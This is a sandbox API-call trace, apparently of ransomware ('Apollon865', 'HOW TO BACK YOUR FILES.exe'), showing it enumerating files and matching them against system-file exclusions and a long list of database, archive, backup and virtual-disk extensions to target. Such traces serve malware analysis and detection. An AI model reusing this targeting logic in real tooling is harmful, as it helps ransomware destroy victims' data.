	[0078.396] lstrlenW (lpString="mdf") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.396] lstrlenW (lpString="mdb") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.396] lstrlenW (lpString="sql") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.396] lstrlenW (lpString="sqlite") returned 6
	[0078.396] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0078.396] lstrlenW (lpString="sqlite3") returned 7
	[0078.396] lstrcmpiW (lpString1="oLR.cab", lpString2="sqlite3") returned -1
	[0078.396] lstrlenW (lpString="sqlitedb") returned 8
	[0078.396] lstrcmpiW (lpString1="ioLR.cab", lpString2="sqlitedb") returned -1
	[0078.396] lstrlenW (lpString="xml") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.396] lstrlenW (lpString="$er") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.396] lstrlenW (lpString="4dd") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.396] lstrlenW (lpString="4dl") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.396] lstrlenW (lpString="^^^") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.397] lstrlenW (lpString="abs") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.397] lstrlenW (lpString="abx") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.397] lstrlenW (lpString="accdb") returned 5
	[0078.397] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0078.397] lstrlenW (lpString="accdc") returned 5
	[0078.397] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0078.397] lstrlenW (lpString="accde") returned 5
	[0078.397] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0078.397] lstrlenW (lpString="accdr") returned 5
	[0078.397] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0078.397] lstrlenW (lpString="accdt") returned 5
	[0078.397] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0078.397] lstrlenW (lpString="accdw") returned 5
	[0078.397] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0078.397] lstrlenW (lpString="accft") returned 5
	[0078.397] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0078.397] lstrlenW (lpString="adb") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.397] lstrlenW (lpString="adb") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.397] lstrlenW (lpString="ade") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.397] lstrlenW (lpString="adf") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.397] lstrlenW (lpString="adn") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0078.397] lstrlenW (lpString="adp") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0078.397] lstrlenW (lpString="alf") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0078.397] lstrlenW (lpString="ask") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0078.397] lstrlenW (lpString="btr") returned 3
	[0078.397] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0078.397] lstrlenW (lpString="cat") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0078.398] lstrlenW (lpString="cdb") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0078.398] lstrlenW (lpString="ckp") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0078.398] lstrlenW (lpString="cma") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0078.398] lstrlenW (lpString="cpd") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0078.398] lstrlenW (lpString="dacpac") returned 6
	[0078.398] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1
	[0078.398] lstrlenW (lpString="dad") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0078.398] lstrlenW (lpString="dadiagrams") returned 10
	[0078.398] lstrcmpiW (lpString1="isioLR.cab", lpString2="dadiagrams") returned 1
	[0078.398] lstrlenW (lpString="daschema") returned 8
	[0078.398] lstrcmpiW (lpString1="ioLR.cab", lpString2="daschema") returned 1
	[0078.398] lstrlenW (lpString="db-journal") returned 10
	[0078.398] lstrcmpiW (lpString1="isioLR.cab", lpString2="db-journal") returned 1
	[0078.398] lstrlenW (lpString="db-shm") returned 6
	[0078.398] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1
	[0078.398] lstrlenW (lpString="db-wal") returned 6
	[0078.398] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1
	[0078.398] lstrlenW (lpString="dbc") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0078.398] lstrlenW (lpString="dbs") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0078.398] lstrlenW (lpString="dbt") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0078.398] lstrlenW (lpString="dbv") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0078.398] lstrlenW (lpString="dbx") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0078.398] lstrlenW (lpString="dcb") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0078.398] lstrlenW (lpString="dct") returned 3
	[0078.398] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0078.399] lstrlenW (lpString="dcx") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0078.399] lstrlenW (lpString="ddl") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0078.399] lstrlenW (lpString="dlis") returned 4
	[0078.399] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0078.399] lstrlenW (lpString="dp1") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0078.399] lstrlenW (lpString="dqy") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0078.399] lstrlenW (lpString="dsk") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0078.399] lstrlenW (lpString="dsn") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0078.399] lstrlenW (lpString="dtsx") returned 4
	[0078.399] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0078.399] lstrlenW (lpString="dxl") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0078.399] lstrlenW (lpString="eco") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0078.399] lstrlenW (lpString="ecx") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0078.399] lstrlenW (lpString="edb") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0078.399] lstrlenW (lpString="epim") returned 4
	[0078.399] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0078.399] lstrlenW (lpString="fcd") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0078.399] lstrlenW (lpString="fdb") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0078.399] lstrlenW (lpString="fic") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0078.399] lstrlenW (lpString="flexolibrary") returned 12
	[0078.399] lstrlenW (lpString="fm5") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0078.399] lstrlenW (lpString="fmp") returned 3
	[0078.399] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0078.400] lstrlenW (lpString="fmp12") returned 5
	[0078.400] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1
	[0078.400] lstrlenW (lpString="fmpsl") returned 5
	[0078.400] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1
	[0078.400] lstrlenW (lpString="fol") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0078.400] lstrlenW (lpString="fp3") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0078.400] lstrlenW (lpString="fp4") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0078.400] lstrlenW (lpString="fp5") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0078.400] lstrlenW (lpString="fp7") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0078.400] lstrlenW (lpString="fpt") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0078.400] lstrlenW (lpString="frm") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0078.400] lstrlenW (lpString="gdb") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.400] lstrlenW (lpString="gdb") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.400] lstrlenW (lpString="grdb") returned 4
	[0078.400] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0078.400] lstrlenW (lpString="gwi") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0078.400] lstrlenW (lpString="hdb") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0078.400] lstrlenW (lpString="his") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0078.400] lstrlenW (lpString="ib") returned 2
	[0078.400] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0078.400] lstrlenW (lpString="idb") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0078.400] lstrlenW (lpString="ihx") returned 3
	[0078.400] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0078.400] lstrlenW (lpString="itdb") returned 4
	[0078.401] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0078.401] lstrlenW (lpString="itw") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0078.401] lstrlenW (lpString="jet") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0078.401] lstrlenW (lpString="jtx") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0078.401] lstrlenW (lpString="kdb") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0078.401] lstrlenW (lpString="kexi") returned 4
	[0078.401] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0078.401] lstrlenW (lpString="kexic") returned 5
	[0078.401] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1
	[0078.401] lstrlenW (lpString="kexis") returned 5
	[0078.401] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1
	[0078.401] lstrlenW (lpString="lgc") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0078.401] lstrlenW (lpString="lwx") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0078.401] lstrlenW (lpString="maf") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0078.401] lstrlenW (lpString="maq") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0078.401] lstrlenW (lpString="mar") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0078.401] lstrlenW (lpString="marshal") returned 7
	[0078.401] lstrcmpiW (lpString1="oLR.cab", lpString2="marshal") returned 1
	[0078.401] lstrlenW (lpString="mas") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0078.401] lstrlenW (lpString="mav") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0078.401] lstrlenW (lpString="maw") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0078.401] lstrlenW (lpString="mdbhtml") returned 7
	[0078.401] lstrcmpiW (lpString1="oLR.cab", lpString2="mdbhtml") returned 1
	[0078.401] lstrlenW (lpString="mdn") returned 3
	[0078.401] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0078.402] lstrlenW (lpString="mdt") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0078.402] lstrlenW (lpString="mfd") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0078.402] lstrlenW (lpString="mpd") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0078.402] lstrlenW (lpString="mrg") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0078.402] lstrlenW (lpString="mud") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0078.402] lstrlenW (lpString="mwb") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0078.402] lstrlenW (lpString="myd") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0078.402] lstrlenW (lpString="ndf") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0078.402] lstrlenW (lpString="nnt") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0078.402] lstrlenW (lpString="nrmlib") returned 6
	[0078.402] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1
	[0078.402] lstrlenW (lpString="ns2") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0078.402] lstrlenW (lpString="ns3") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0078.402] lstrlenW (lpString="ns4") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0078.402] lstrlenW (lpString="nsf") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0078.402] lstrlenW (lpString="nv") returned 2
	[0078.402] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0078.402] lstrlenW (lpString="nv2") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0078.402] lstrlenW (lpString="nwdb") returned 4
	[0078.402] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0078.402] lstrlenW (lpString="nyf") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0078.402] lstrlenW (lpString="odb") returned 3
	[0078.402] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.403] lstrlenW (lpString="odb") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.403] lstrlenW (lpString="oqy") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0078.403] lstrlenW (lpString="ora") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0078.403] lstrlenW (lpString="orx") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0078.403] lstrlenW (lpString="owc") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0078.403] lstrlenW (lpString="p96") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0078.403] lstrlenW (lpString="p97") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0078.403] lstrlenW (lpString="pan") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0078.403] lstrlenW (lpString="pdb") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0078.403] lstrlenW (lpString="pdm") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0078.403] lstrlenW (lpString="pnz") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0078.403] lstrlenW (lpString="qry") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0078.403] lstrlenW (lpString="qvd") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0078.403] lstrlenW (lpString="rbf") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0078.403] lstrlenW (lpString="rctd") returned 4
	[0078.403] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0078.403] lstrlenW (lpString="rod") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0078.403] lstrlenW (lpString="rodx") returned 4
	[0078.403] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0078.403] lstrlenW (lpString="rpd") returned 3
	[0078.403] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0078.403] lstrlenW (lpString="rsd") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0078.404] lstrlenW (lpString="sas7bdat") returned 8
	[0078.404] lstrcmpiW (lpString1="ioLR.cab", lpString2="sas7bdat") returned -1
	[0078.404] lstrlenW (lpString="sbf") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0078.404] lstrlenW (lpString="scx") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0078.404] lstrlenW (lpString="sdb") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0078.404] lstrlenW (lpString="sdc") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0078.404] lstrlenW (lpString="sdf") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0078.404] lstrlenW (lpString="sis") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0078.404] lstrlenW (lpString="spq") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0078.404] lstrlenW (lpString="te") returned 2
	[0078.404] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0078.404] lstrlenW (lpString="teacher") returned 7
	[0078.404] lstrcmpiW (lpString1="oLR.cab", lpString2="teacher") returned -1
	[0078.404] lstrlenW (lpString="tmd") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0078.404] lstrlenW (lpString="tps") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0078.404] lstrlenW (lpString="trc") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.404] lstrlenW (lpString="trc") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.404] lstrlenW (lpString="trm") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0078.404] lstrlenW (lpString="udb") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0078.404] lstrlenW (lpString="udl") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0078.404] lstrlenW (lpString="usr") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0078.404] lstrlenW (lpString="v12") returned 3
	[0078.404] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0078.405] lstrlenW (lpString="vis") returned 3
	[0078.405] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0078.405] lstrlenW (lpString="vpd") returned 3
	[0078.405] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0078.405] lstrlenW (lpString="vvv") returned 3
	[0078.405] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0078.405] lstrlenW (lpString="wdb") returned 3
	[0078.405] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0078.405] lstrlenW (lpString="wmdb") returned 4
	[0078.405] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0078.405] lstrlenW (lpString="wrk") returned 3
	[0078.405] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0078.405] lstrlenW (lpString="xdb") returned 3
	[0078.405] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0078.405] lstrlenW (lpString="xld") returned 3
	[0078.405] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0078.405] lstrlenW (lpString="xmlff") returned 5
	[0078.405] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1
	[0078.405] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="..") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="windows") returned -1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="bootmgr") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="temp") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="pagefile.sys") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="boot") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="ids.txt") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="ntuser.dat") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="perflogs") returned 1
	[0078.405] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="MSBuild") returned 1
	[0078.405] lstrlenW (lpString="VisioMUI.msi") returned 12
	[0078.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0078.405] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VisioMUI.msi" | out: lpString1="VisioMUI.msi") returned="VisioMUI.msi"
	[0078.406] lstrlenW (lpString="VisioMUI.msi") returned 12
	[0078.406] lstrlenW (lpString="Apollon865") returned 10
	[0078.406] lstrcmpiW (lpString1="sioMUI.msi", lpString2="Apollon865") returned 1
	[0078.406] lstrlenW (lpString=".dll") returned 4
	[0078.406] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".dll") returned 1
	[0078.406] lstrlenW (lpString=".lnk") returned 4
	[0078.406] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".lnk") returned 1
	[0078.406] lstrlenW (lpString=".ini") returned 4
	[0078.406] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".ini") returned 1
	[0078.406] lstrlenW (lpString=".sys") returned 4
	[0078.406] lstrcmpiW (lpString1="VisioMUI.msi", lpString2=".sys") returned 1
	[0078.406] lstrlenW (lpString="VisioMUI.msi") returned 12
	[0078.406] lstrlenW (lpString="bak") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.406] lstrlenW (lpString="ba_") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.406] lstrlenW (lpString="dbb") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.406] lstrlenW (lpString="vmdk") returned 4
	[0078.406] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.406] lstrlenW (lpString="rar") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.406] lstrlenW (lpString="zip") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.406] lstrlenW (lpString="tgz") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.406] lstrlenW (lpString="vbox") returned 4
	[0078.406] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.406] lstrlenW (lpString="vdi") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.406] lstrlenW (lpString="vhd") returned 3
	[0078.406] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.406] lstrlenW (lpString="vhdx") returned 4
	[0078.406] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.406] lstrlenW (lpString="avhd") returned 4
	[0078.406] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.406] lstrlenW (lpString="db") returned 2
	[0078.407] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.407] lstrlenW (lpString="db2") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.407] lstrlenW (lpString="db3") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.407] lstrlenW (lpString="dbf") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.407] lstrlenW (lpString="mdf") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.407] lstrlenW (lpString="mdb") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.407] lstrlenW (lpString="sql") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.407] lstrlenW (lpString="sqlite") returned 6
	[0078.407] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0078.407] lstrlenW (lpString="sqlite3") returned 7
	[0078.407] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0078.407] lstrlenW (lpString="sqlitedb") returned 8
	[0078.407] lstrcmpiW (lpString1="oMUI.msi", lpString2="sqlitedb") returned -1
	[0078.407] lstrlenW (lpString="xml") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.407] lstrlenW (lpString="$er") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.407] lstrlenW (lpString="4dd") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.407] lstrlenW (lpString="4dl") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.407] lstrlenW (lpString="^^^") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.407] lstrlenW (lpString="abs") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.407] lstrlenW (lpString="abx") returned 3
	[0078.407] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.407] lstrlenW (lpString="accdb") returned 5
	[0078.407] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0078.407] lstrlenW (lpString="accdc") returned 5
	[0078.407] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0078.407] lstrlenW (lpString="accde") returned 5
	[0078.407] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0078.408] lstrlenW (lpString="accdr") returned 5
	[0078.408] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0078.408] lstrlenW (lpString="accdt") returned 5
	[0078.408] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0078.408] lstrlenW (lpString="accdw") returned 5
	[0078.408] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0078.408] lstrlenW (lpString="accft") returned 5
	[0078.408] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0078.408] lstrlenW (lpString="adb") returned 3
